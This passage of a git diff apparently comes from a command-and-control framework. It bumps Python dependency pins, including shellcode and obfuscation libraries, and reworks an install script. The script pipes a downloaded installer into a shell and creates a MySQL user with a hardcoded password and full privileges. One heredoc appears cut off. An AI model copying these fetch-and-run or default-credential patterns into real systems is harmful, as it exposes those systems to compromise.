(>=0.13)", [[package]] name = "wcwidth" -version = "0.2.6" +version = "0.2.8" description = "Measures the displayed width of unicode strings in a terminal" optional = false python-versions = "*" files = [ - {file = "wcwidth-0.2.6-py2.py3-none-any.whl", hash = "sha256:795b138f6875577cd91bba52baf9e445cd5118fd32723b460e30a0af30ea230e"}, - {file = "wcwidth-0.2.6.tar.gz", hash = "sha256:a5220780a404dbe3353789870978e472cfe477761f06ee55077256e509b156d0"}, + {file = "wcwidth-0.2.8-py2.py3-none-any.whl", hash = "sha256:77f719e01648ed600dfa5402c347481c0992263b81a027344f3e1ba25493a704"}, + {file = "wcwidth-0.2.8.tar.gz", hash = "sha256:8705c569999ffbb4f6a87c6d1b80f324bd6db952f5eb0b95bc07517f4c1813d4"}, ] [[package]] name = "weasyprint" -version = "59.0" +version = "60.1" description = "The Awesome Document Factory" optional = false python-versions = ">=3.7" files = [ - {file = "weasyprint-59.0-py3-none-any.whl", hash = "sha256:a308d67c5e99f536b15527baaad4e91be0cf307317e0f66e8d934a0bc99bfb38"}, - {file = "weasyprint-59.0.tar.gz", hash = "sha256:223a76636b3744eaa4ab8a2885f50cf46cf8ebb1acb99b5276d02feccf507492"}, + {file = "weasyprint-60.1-py3-none-any.whl", hash = "sha256:55227e5e44f5f34bc9cec651329bd38d063ef7d29151d4b058d4af1ca943d4a7"}, + {file = "weasyprint-60.1.tar.gz", hash = "sha256:56b9812280118357b0f63b1efe18199e08343d4a56a3393c1d475ab878cea26a"}, ] [package.dependencies] @@ -2831,7 +2865,7 @@ cssselect2 = ">=0.1" fonttools = {version = ">=4.0.0", extras = ["woff"]} html5lib = ">=1.1" Pillow = ">=9.1.0" -pydyf = ">=0.6.0" +pydyf = ">=0.8.0" Pyphen = ">=0.9.1" tinycss2 = ">=1.0.0" @@ -2852,13 +2886,13 @@ files = [ [[package]] name = "websocket-client" -version = "1.6.3" +version = "1.6.4" description = "WebSocket client for Python with low level API options" optional = false python-versions = ">=3.8" files = [ - {file = "websocket-client-1.6.3.tar.gz", hash = "sha256:3aad25d31284266bcfcfd1fd8a743f63282305a364b8d0948a43bd606acc652f"}, - {file = "websocket_client-1.6.3-py3-none-any.whl", hash = "sha256:6cfc30d051ebabb73a5fa246efdcc14c8fbebbd0330f8984ac3bb6d9edd2ad03"}, + {file = "websocket-client-1.6.4.tar.gz", hash = "sha256:b3324019b3c28572086c4a319f91d1dcd44e6e11cd340232978c684a7650d0df"}, + {file = "websocket_client-1.6.4-py3-none-any.whl", hash = "sha256:084072e0a7f5f347ef2ac3d8698a5e0b4ffbfcab607628cadabc650fc9a83a24"}, ] [package.extras] @@ -2960,13 +2994,13 @@ numpy = "*" [[package]] name = "werkzeug" -version = "2.3.7" +version = "3.0.0" description = "The comprehensive WSGI web application library." optional = false python-versions = ">=3.8" files = [ - {file = "werkzeug-2.3.7-py3-none-any.whl", hash = "sha256:effc12dba7f3bd72e605ce49807bbe692bd729c3bb122a3b91747a6ae77df528"}, - {file = "werkzeug-2.3.7.tar.gz", hash = "sha256:2b8c0e447b4b9dbcc85dd97b6eeb4dcbaf6c8b6c3be0bd654e25553e0a2157d8"}, + {file = "werkzeug-3.0.0-py3-none-any.whl", hash = "sha256:cbb2600f7eabe51dbc0502f58be0b3e1b96b893b05695ea2b35b43d4de2d9962"}, + {file = "werkzeug-3.0.0.tar.gz", hash = "sha256:3ffff4dcc32db52ef3cc94dff3000a3c2846890f3a5a51800a27b909c5e770f0"}, ] [package.dependencies] @@ -3035,21 +3069,6 @@ files = [ {file = "xlwt-1.3.0.tar.gz", hash = "sha256:c59912717a9b28f1a3c2a98fd60741014b06b043936dcecbc113eaaada156c88"}, ] -[[package]] -name = "zipp" -version = "3.16.2" -description = "Backport of pathlib-compatible object wrapper for zip files" -optional = false -python-versions = ">=3.8" -files = [ - {file = "zipp-3.16.2-py3-none-any.whl", hash = "sha256:679e51dd4403591b2d6838a48de3d283f3d188412a9782faadf845f298736ba0"}, - {file = "zipp-3.16.2.tar.gz", hash = "sha256:ebc15946aa78bd63458992fc81ec3b6f7b1e92d51c35e6de1c3804e73b799147"}, -] - -[package.extras] -docs = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -testing = ["big-O", "jaraco.functools", "jaraco.itertools", "more-itertools", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-ignore-flaky", "pytest-mypy (>=0.9.1)", "pytest-ruff"] - [[package]] name = "zlib-wrapper" version = "0.1.3" @@ -3062,48 +3081,54 @@ files = [ [[package]] name = "zope-interface" -version = "6.0" +version = "6.1" description = "Interfaces for Python" optional = false python-versions = ">=3.7" files = [ - {file = "zope.interface-6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f299c020c6679cb389814a3b81200fe55d428012c5e76da7e722491f5d205990"}, - {file = "zope.interface-6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ee4b43f35f5dc15e1fec55ccb53c130adb1d11e8ad8263d68b1284b66a04190d"}, - {file = "zope.interface-6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5a158846d0fca0a908c1afb281ddba88744d403f2550dc34405c3691769cdd85"}, - {file = "zope.interface-6.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f72f23bab1848edb7472309e9898603141644faec9fd57a823ea6b4d1c4c8995"}, - {file = "zope.interface-6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:48f4d38cf4b462e75fac78b6f11ad47b06b1c568eb59896db5b6ec1094eb467f"}, - {file = "zope.interface-6.0-cp310-cp310-win_amd64.whl", hash = "sha256:87b690bbee9876163210fd3f500ee59f5803e4a6607d1b1238833b8885ebd410"}, - {file = "zope.interface-6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f2363e5fd81afb650085c6686f2ee3706975c54f331b426800b53531191fdf28"}, - {file = "zope.interface-6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:af169ba897692e9cd984a81cb0f02e46dacdc07d6cf9fd5c91e81f8efaf93d52"}, - {file = "zope.interface-6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fa90bac61c9dc3e1a563e5babb3fd2c0c1c80567e815442ddbe561eadc803b30"}, - {file = "zope.interface-6.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:89086c9d3490a0f265a3c4b794037a84541ff5ffa28bb9c24cc9f66566968464"}, - {file = "zope.interface-6.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:809fe3bf1a91393abc7e92d607976bbb8586512913a79f2bf7d7ec15bd8ea518"}, - {file = "zope.interface-6.0-cp311-cp311-win_amd64.whl", hash = "sha256:0ec9653825f837fbddc4e4b603d90269b501486c11800d7c761eee7ce46d1bbb"}, - {file = "zope.interface-6.0-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:790c1d9d8f9c92819c31ea660cd43c3d5451df1df61e2e814a6f99cebb292788"}, - {file = "zope.interface-6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b39b8711578dcfd45fc0140993403b8a81e879ec25d53189f3faa1f006087dca"}, - {file = "zope.interface-6.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eba51599370c87088d8882ab74f637de0c4f04a6d08a312dce49368ba9ed5c2a"}, - {file = "zope.interface-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6ee934f023f875ec2cfd2b05a937bd817efcc6c4c3f55c5778cbf78e58362ddc"}, - {file = "zope.interface-6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:042f2381118b093714081fd82c98e3b189b68db38ee7d35b63c327c470ef8373"}, - {file = "zope.interface-6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:dfbbbf0809a3606046a41f8561c3eada9db811be94138f42d9135a5c47e75f6f"}, - {file = "zope.interface-6.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:424d23b97fa1542d7be882eae0c0fc3d6827784105264a8169a26ce16db260d8"}, - {file = "zope.interface-6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e538f2d4a6ffb6edfb303ce70ae7e88629ac6e5581870e66c306d9ad7b564a58"}, - {file = "zope.interface-6.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:12175ca6b4db7621aedd7c30aa7cfa0a2d65ea3a0105393e05482d7a2d367446"}, - {file = "zope.interface-6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4c3d7dfd897a588ec27e391edbe3dd320a03684457470415870254e714126b1f"}, - {file = "zope.interface-6.0-cp38-cp38-win_amd64.whl", hash = "sha256:b3f543ae9d3408549a9900720f18c0194ac0fe810cecda2a584fd4dca2eb3bb8"}, - {file = "zope.interface-6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d0583b75f2e70ec93f100931660328965bb9ff65ae54695fb3fa0a1255daa6f2"}, - {file = "zope.interface-6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:23ac41d52fd15dd8be77e3257bc51bbb82469cf7f5e9a30b75e903e21439d16c"}, - {file = "zope.interface-6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:99856d6c98a326abbcc2363827e16bd6044f70f2ef42f453c0bd5440c4ce24e5"}, - {file = "zope.interface-6.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1592f68ae11e557b9ff2bc96ac8fc30b187e77c45a3c9cd876e3368c53dc5ba8"}, - {file = "zope.interface-6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4407b1435572e3e1610797c9203ad2753666c62883b921318c5403fb7139dec2"}, - {file = "zope.interface-6.0-cp39-cp39-win_amd64.whl", hash = "sha256:5171eb073474a5038321409a630904fd61f12dd1856dd7e9d19cd6fe092cbbc5"}, - {file = "zope.interface-6.0.tar.gz", hash = "sha256:aab584725afd10c710b8f1e6e208dbee2d0ad009f57d674cb9d1b3964037275d"}, + {file = "zope.interface-6.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:43b576c34ef0c1f5a4981163b551a8781896f2a37f71b8655fd20b5af0386abb"}, + {file = "zope.interface-6.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:67be3ca75012c6e9b109860820a8b6c9a84bfb036fbd1076246b98e56951ca92"}, + {file = "zope.interface-6.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9b9bc671626281f6045ad61d93a60f52fd5e8209b1610972cf0ef1bbe6d808e3"}, + {file = "zope.interface-6.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bbe81def9cf3e46f16ce01d9bfd8bea595e06505e51b7baf45115c77352675fd"}, + {file = "zope.interface-6.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6dc998f6de015723196a904045e5a2217f3590b62ea31990672e31fbc5370b41"}, + {file = "zope.interface-6.1-cp310-cp310-win_amd64.whl", hash = "sha256:239a4a08525c080ff833560171d23b249f7f4d17fcbf9316ef4159f44997616f"}, + {file = "zope.interface-6.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9ffdaa5290422ac0f1688cb8adb1b94ca56cee3ad11f29f2ae301df8aecba7d1"}, + {file = "zope.interface-6.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:34c15ca9248f2e095ef2e93af2d633358c5f048c49fbfddf5fdfc47d5e263736"}, + {file = "zope.interface-6.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b012d023b4fb59183909b45d7f97fb493ef7a46d2838a5e716e3155081894605"}, + {file = "zope.interface-6.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:97806e9ca3651588c1baaebb8d0c5ee3db95430b612db354c199b57378312ee8"}, + {file = "zope.interface-6.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fddbab55a2473f1d3b8833ec6b7ac31e8211b0aa608df5ab09ce07f3727326de"}, + {file = "zope.interface-6.1-cp311-cp311-win_amd64.whl", hash = "sha256:a0da79117952a9a41253696ed3e8b560a425197d4e41634a23b1507efe3273f1"}, + {file = "zope.interface-6.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:e8bb9c990ca9027b4214fa543fd4025818dc95f8b7abce79d61dc8a2112b561a"}, + {file = "zope.interface-6.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b51b64432eed4c0744241e9ce5c70dcfecac866dff720e746d0a9c82f371dfa7"}, + {file = "zope.interface-6.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa6fd016e9644406d0a61313e50348c706e911dca29736a3266fc9e28ec4ca6d"}, + {file = "zope.interface-6.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0c8cf55261e15590065039696607f6c9c1aeda700ceee40c70478552d323b3ff"}, + {file = "zope.interface-6.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e30506bcb03de8983f78884807e4fd95d8db6e65b69257eea05d13d519b83ac0"}, + {file = "zope.interface-6.1-cp312-cp312-win_amd64.whl", hash = "sha256:e33e86fd65f369f10608b08729c8f1c92ec7e0e485964670b4d2633a4812d36b"}, + {file = "zope.interface-6.1-cp37-cp37m-macosx_11_0_x86_64.whl", hash = "sha256:2f8d89721834524a813f37fa174bac074ec3d179858e4ad1b7efd4401f8ac45d"}, + {file = "zope.interface-6.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:13b7d0f2a67eb83c385880489dbb80145e9d344427b4262c49fbf2581677c11c"}, + {file = "zope.interface-6.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ef43ee91c193f827e49599e824385ec7c7f3cd152d74cb1dfe02cb135f264d83"}, + {file = "zope.interface-6.1-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e441e8b7d587af0414d25e8d05e27040d78581388eed4c54c30c0c91aad3a379"}, + {file = "zope.interface-6.1-cp37-cp37m-win_amd64.whl", hash = "sha256:f89b28772fc2562ed9ad871c865f5320ef761a7fcc188a935e21fe8b31a38ca9"}, + {file = "zope.interface-6.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:70d2cef1bf529bff41559be2de9d44d47b002f65e17f43c73ddefc92f32bf00f"}, + {file = "zope.interface-6.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:ad54ed57bdfa3254d23ae04a4b1ce405954969c1b0550cc2d1d2990e8b439de1"}, + {file = "zope.interface-6.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ef467d86d3cfde8b39ea1b35090208b0447caaabd38405420830f7fd85fbdd56"}, + {file = "zope.interface-6.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6af47f10cfc54c2ba2d825220f180cc1e2d4914d783d6fc0cd93d43d7bc1c78b"}, + {file = "zope.interface-6.1-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c9559138690e1bd4ea6cd0954d22d1e9251e8025ce9ede5d0af0ceae4a401e43"}, + {file = "zope.interface-6.1-cp38-cp38-win_amd64.whl", hash = "sha256:964a7af27379ff4357dad1256d9f215047e70e93009e532d36dcb8909036033d"}, + {file = "zope.interface-6.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:387545206c56b0315fbadb0431d5129c797f92dc59e276b3ce82db07ac1c6179"}, + {file = "zope.interface-6.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:57d0a8ce40ce440f96a2c77824ee94bf0d0925e6089df7366c2272ccefcb7941"}, + {file = "zope.interface-6.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7ebc4d34e7620c4f0da7bf162c81978fce0ea820e4fa1e8fc40ee763839805f3"}, + {file = "zope.interface-6.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5a804abc126b33824a44a7aa94f06cd211a18bbf31898ba04bd0924fbe9d282d"}, + {file = "zope.interface-6.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1f294a15f7723fc0d3b40701ca9b446133ec713eafc1cc6afa7b3d98666ee1ac"}, + {file = "zope.interface-6.1-cp39-cp39-win_amd64.whl", hash = "sha256:a41f87bb93b8048fe866fa9e3d0c51e27fe55149035dcf5f43da4b56732c0a40"}, + {file = "zope.interface-6.1.tar.gz", hash = "sha256:2fdc7ccbd6eb6b7df5353012fbed6c3c5d04ceaca0038f75e601060e95345309"}, ] [package.dependencies] setuptools = "*" [package.extras] -docs = ["Sphinx", "repoze.sphinx.autointerface"] +docs = ["Sphinx", "repoze.sphinx.autointerface", "sphinx-rtd-theme"] test = ["coverage (>=5.0.3)", "zope.event", "zope.testing"] testing = ["coverage (>=5.0.3)", "zope.event", "zope.testing"] @@ -3182,5 +3207,5 @@ test = ["pytest"] [metadata] lock-version = "2.0" -python-versions = ">=3.8,<3.12" -content-hash = "c2cf6a69f5538f1745b5f7ffc1bd278385a835e2ac9aeb29b48589a2d4328c9a" +python-versions = ">=3.10,<3.13" +content-hash = "b597e531825a427d976d0c37bb7e1b3d0cdf57472cff83f7bff45cb6adb50c6e" diff --git a/pyproject.toml b/pyproject.toml index 91ca94802..d2f61c1c6 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -13,32 +13,31 @@ packages = [ ] [tool.poetry.dependencies] -python = ">=3.8,<3.12" -urllib3 = "^2.0.3" +python = ">=3.10,<3.13" +urllib3 = "^2.0.7" requests = "^2.31.0" iptools = "^0.7.0" -macholib = "^1.16.2" +macholib = "^1.16.3" dropbox = "^11.36.2" pyOpenSSL = "^23.2.0" zlib_wrapper = "^0.1.3" netifaces = "^0.11.0" jinja2 = "^3.1.2" xlutils = "^2.0.0" -pyparsing = "^3.1.0" +pyparsing = "^3.1.1" PyMySQL = "^1.1.0" -SQLAlchemy = "^2.0.18" +SQLAlchemy = "^2.0.22" PyYAML = "^6.0.1" SQLAlchemy-Utc = "^0.14.0" prompt-toolkit = "^3.0.39" terminaltables = "^3.1.10" -docopt = "^0.6.2" -humanize = "^4.7.0" -pycryptodome = "^3.18.0" -cryptography = "^41.0.1" +humanize = "^4.8.0" +pycryptodome = "^3.19.0" +cryptography = "^41.0.4" fastapi = "^0.99.1" uvicorn = "^0.22.0" -jq = "^1.4.1" -aiofiles = "^23.1.0" +jq = "^1.6.0" +aiofiles = "^23.2.1" python-multipart = "^0.0.6" python-jose = {version = "^3.3.0", extras = ["cryptography"]} passlib = {version = "^1.7.4", extras = ["bcrypt"]} @@ -46,22 +45,24 @@ websockify = "^0.10.0" websockets = "^11.0.3" pyperclip = "^1.8.2" pyvnc = {git = "https://github.com/BC-SECURITY/pyVNC.git"} -python-socketio = {extras = ["client"], version = "^5.8.0"} -Flask = "^2.3.2" -pysecretsocks = {git = "https://github.com/BC-SECURITY/PySecretSOCKS.git"} +python-socketio = {extras = ["client"], version = "^5.10.0"} +Flask = "^2.3.3" +pysecretsocks = {git = "https://github.com/BC-SECURITY/PySecretSOCKS.git", rev = "da5be0e"} donut-shellcode = "^1.0.2" python-obfuscator = "^0.0.2" -pyinstaller = "^5.13.0" -md2pdf = "^1.0.1" +pyinstaller = "^5.13.2" +md2pdf = {git = "https://github.com/bc-security/md2pdf", rev = "48d5a46"} tabulate = "^0.9.0" stix2 = "^3.0.1" +docopt-ng = "^0.9.0" +packaging = "^23.2" [tool.poetry.group.dev.dependencies] httpx = "^0.24.1" # For starlette TestClient -black = "^23.7.0" -pytest = "^7.4.0" -pytest-timeout = "^2.1.0" +black = "^23.10.0" +pytest = "^7.4.2" +pytest-timeout = "^2.2.0" ruff = "^0.0.283" pytest-cov = "^4.1.0" diff --git a/pytest.ini b/pytest.ini index 0a14d0233..a414280bb 100644 --- a/pytest.ini +++ b/pytest.ini @@ -1,3 +1,7 @@ [pytest] log_cli = false log_cli_level = INFO +# Should figure out a better way to do this, but for now filters out all the +# warnings from the threads exiting. +filterwarnings = + ignore::pytest.PytestUnhandledThreadExceptionWarning diff --git a/setup/install.sh b/setup/install.sh index 68b876b85..1f778f826 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -26,7 +26,12 @@ function command_exists() { function install_powershell() { echo -e "\x1b[1;34m[*] Installing PowerShell\x1b[0m" if [ "$OS_NAME" == "DEBIAN" ]; then - wget https://packages.microsoft.com/config/debian/"${VERSION_ID}"/packages-microsoft-prod.deb + # TODO Temporary until official Debian 12 support is added + VERSION_ID_2=$VERSION_ID + if [ "$VERSION_ID" == "12" ]; then + VERSION_ID_2="11" + fi + wget https://packages.microsoft.com/config/debian/"${VERSION_ID_2}"/packages-microsoft-prod.deb sudo dpkg -i packages-microsoft-prod.deb rm packages-microsoft-prod.deb sudo apt-get update @@ -40,13 +45,13 @@ function install_powershell() { sudo apt-get update sudo apt-get install -y powershell elif [ "$OS_NAME" == "KALI" ]; then - apt update && apt -y install powershell + sudo apt-get update && sudo apt-get -y install powershell elif [ $OS_NAME == "PARROT" ]; then - apt update && apt -y install powershell + sudo apt-get update && sudo apt-get -y install powershell fi - mkdir -p /usr/local/share/powershell/Modules - cp -r "$PARENT_PATH"/empire/server/data/Invoke-Obfuscation /usr/local/share/powershell/Modules + sudo mkdir -p /usr/local/share/powershell/Modules + sudo cp -r "$PARENT_PATH"/empire/server/data/Invoke-Obfuscation /usr/local/share/powershell/Modules rm -f packages-microsoft-prod.deb* } @@ -58,10 +63,10 @@ function install_mysql() { echo mysql-community-server mysql-server/default-auth-override select "Use Strong Password Encryption (RECOMMENDED)" | sudo debconf-set-selections if [ "$OS_NAME" == "UBUNTU" ]; then - sudo DEBIAN_FRONTEND=noninteractive apt install -y mysql-server + sudo DEBIAN_FRONTEND=noninteractive apt-get install -y mysql-server elif [[ "$OS_NAME" == "KALI" || "$OS_NAME" == "PARROT" || "$OS_NAME" == "DEBIAN" ]]; then - sudo apt update - sudo DEBIAN_FRONTEND=noninteractive apt install -y default-mysql-server # mariadb + sudo apt-get update + sudo DEBIAN_FRONTEND=noninteractive apt-get install -y default-mysql-server # mariadb fi echo -e "\x1b[1;34m[*] Starting MySQL\x1b[0m" @@ -72,15 +77,15 @@ function start_mysql() { sudo systemctl start mysql.service || true # will fail in a docker image # Add the default empire user to the mysql database - mysql -u root -e "CREATE USER IF NOT EXISTS 'empire_user'@'localhost' IDENTIFIED BY 'empire_password';" || true - mysql -u root -e "GRANT ALL PRIVILEGES ON *.* TO 'empire_user'@'localhost' WITH GRANT OPTION;" || true - mysql -u root -e "FLUSH PRIVILEGES;" || true + sudo mysql -u root -e "CREATE USER IF NOT EXISTS 'empire_user'@'localhost' IDENTIFIED BY 'empire_password';" || true + sudo mysql -u root -e "GRANT ALL PRIVILEGES ON *.* TO 'empire_user'@'localhost' WITH GRANT OPTION;" || true + sudo mysql -u root -e "FLUSH PRIVILEGES;" || true # Some OS have a root password set by default. We could probably # be more smart about this, but we just try both. - mysql -u root -proot -e "CREATE USER IF NOT EXISTS 'empire_user'@'localhost' IDENTIFIED BY 'empire_password';" || true - mysql -u root -proot -e "GRANT ALL PRIVILEGES ON *.* TO 'empire_user'@'localhost' WITH GRANT OPTION;" || true - mysql -u root -proot -e "FLUSH PRIVILEGES;" || true + sudo mysql -u root -proot -e "CREATE USER IF NOT EXISTS 'empire_user'@'localhost' IDENTIFIED BY 'empire_password';" || true + sudo mysql -u root -proot -e "GRANT ALL PRIVILEGES ON *.* TO 'empire_user'@'localhost' WITH GRANT OPTION;" || true + sudo mysql -u root -proot -e "FLUSH PRIVILEGES;" || true if [ "$ASSUME_YES" == "1" ]; then answer="Y" @@ -119,10 +124,73 @@ function install_bomutils() { rm -rf bomutils } -export DEBIAN_FRONTEND=noninteractive +function install_dotnet() { + echo -e "\x1b[1;34m[*] Installing dotnet for C# agents and modules\x1b[0m" + if [ $OS_NAME == "UBUNTU" ]; then + wget https://packages.microsoft.com/config/ubuntu/"${VERSION_ID}"/packages-microsoft-prod.deb -O packages-microsoft-prod.deb + sudo dpkg -i packages-microsoft-prod.deb + rm packages-microsoft-prod.deb + + # If version is 22.04, we need to write an /etc/apt/preferences file + # https://github.com/dotnet/core/issues/7699 + if [ "$VERSION_ID" == "22.04" ]; then + echo -e "\x1b[1;34m[*] Detected Ubuntu 22.04, writing /etc/apt/preferences file\x1b[0m" + sudo tee -a /etc/apt/preferences <] Do you want to install Nim and MinGW? It is only needed to generate a Nim stager (y/N)? \x1b[0m" + read -r answer + fi + if [ "$answer" != "${answer#[Yy]}" ]; then + sudo apt-get install -y curl git gcc xz-utils + export CHOOSENIM_CHOOSE_VERSION=1.6.12 + curl https://nim-lang.org/choosenim/init.sh -sSf | sh -s -- -y + echo "export PATH=$HOME/.nimble/bin:$PATH" >> ~/.bashrc + echo "export PATH=$HOME/.nimble/bin:$PATH" >> ~/.zshrc + export PATH=$HOME/.nimble/bin:$PATH + sudo ln -s $HOME/.nimble/bin/* /usr/bin/ + nimble install -y nimble@0.14.2 + nimble install -y winim zippy nimcrypto + sudo apt-get install -y mingw-w64 + else + echo -e "\x1b[1;34m[*] Skipping Nim\x1b[0m" + fi +} + set -e -apt-get update && apt-get install -y wget sudo git lsb-release +if [ "$EUID" -eq 0 ]; then + if grep -q docker /proc/1/cgroup; then + echo "This script is being run in a Docker build context." + else + echo "This script should not be run as root." + exit 1 + fi +fi +sudo apt-get update && sudo apt-get install -y wget git lsb-release curl sudo -v @@ -130,14 +198,9 @@ sudo -v PARENT_PATH=$( cd "$(dirname "${BASH_SOURCE[0]}")" ; cd .. ; pwd -P ) OS_NAME= VERSION_ID= -if grep "10.*" /etc/debian_version 2>/dev/null; then - echo -e "\x1b[1;34m[*] Detected Debian 10\x1b[0m" +if VERSION_ID=$(grep -oP '^(10|11|12)' /etc/debian_version 2>/dev/null); then + echo -e "\x1b[1;34m[*] Detected Debian $VERSION_ID\x1b[0m" OS_NAME="DEBIAN" - VERSION_ID="10" -elif grep "11.*" /etc/debian_version 2>/dev/null; then - echo -e "\x1b[1;34m[*] Detected Debian 11\x1b[0m" - OS_NAME="DEBIAN" - VERSION_ID="11" elif grep -i "NAME=\"Ubuntu\"" /etc/os-release 2>/dev/null; then OS_NAME=UBUNTU VERSION_ID=$(grep -i VERSION_ID /etc/os-release | grep -o -E "[[:digit:]]+\\.[[:digit:]]+") @@ -158,9 +221,26 @@ else fi sudo apt-get update -sudo apt-get install -y python3-dev python3-pip xclip +# xclip for copying to clipboard +# libpango-1.0-0 and libharfbuzz0b for weasyprint +sudo DEBIAN_FRONTEND=noninteractive apt-get install -y \ + python3 \ + xclip \ + libpango-1.0-0 \ + libharfbuzz0b \ + libpangoft2-1.0-0 + +if ! command_exists pwsh; then + install_powershell +fi -install_powershell +if ! command_exists dotnet; then + install_dotnet +fi + +if ! command_exists nim; then + install_nim +fi if ! command_exists mysql; then install_mysql @@ -195,103 +275,50 @@ else echo -e "\x1b[1;34m[*] Skipping OpenJDK\x1b[0m" fi -echo -e "\x1b[1;34m[*] Installing dotnet for C# agents and modules\x1b[0m" -if [ $OS_NAME == "UBUNTU" ]; then - wget https://packages.microsoft.com/config/ubuntu/"${VERSION_ID}"/packages-microsoft-prod.deb -O packages-microsoft-prod.deb - sudo dpkg -i packages-microsoft-prod.deb - rm packages-microsoft-prod.deb - - # If version is 22.04, we need to write an /etc/apt/preferences file - # https://github.com/dotnet/core/issues/7699 - if [ "$VERSION_ID" == "22.04" ]; then - echo -e "\x1b[1;34m[*] Detected Ubuntu 22.04, writing /etc/apt/preferences file\x1b[0m" - sudo tee -a /etc/apt/preferences <] Do you want to install Nim and MinGW? It is only needed to generate a Nim stager (y/N)? \x1b[0m" - read -r answer -fi -if [ "$answer" != "${answer#[Yy]}" ] ;then - sudo apt install -y curl git gcc - export CHOOSENIM_CHOOSE_VERSION=1.6.12 - curl https://nim-lang.org/choosenim/init.sh -sSf | sh -s -- -y - echo "export 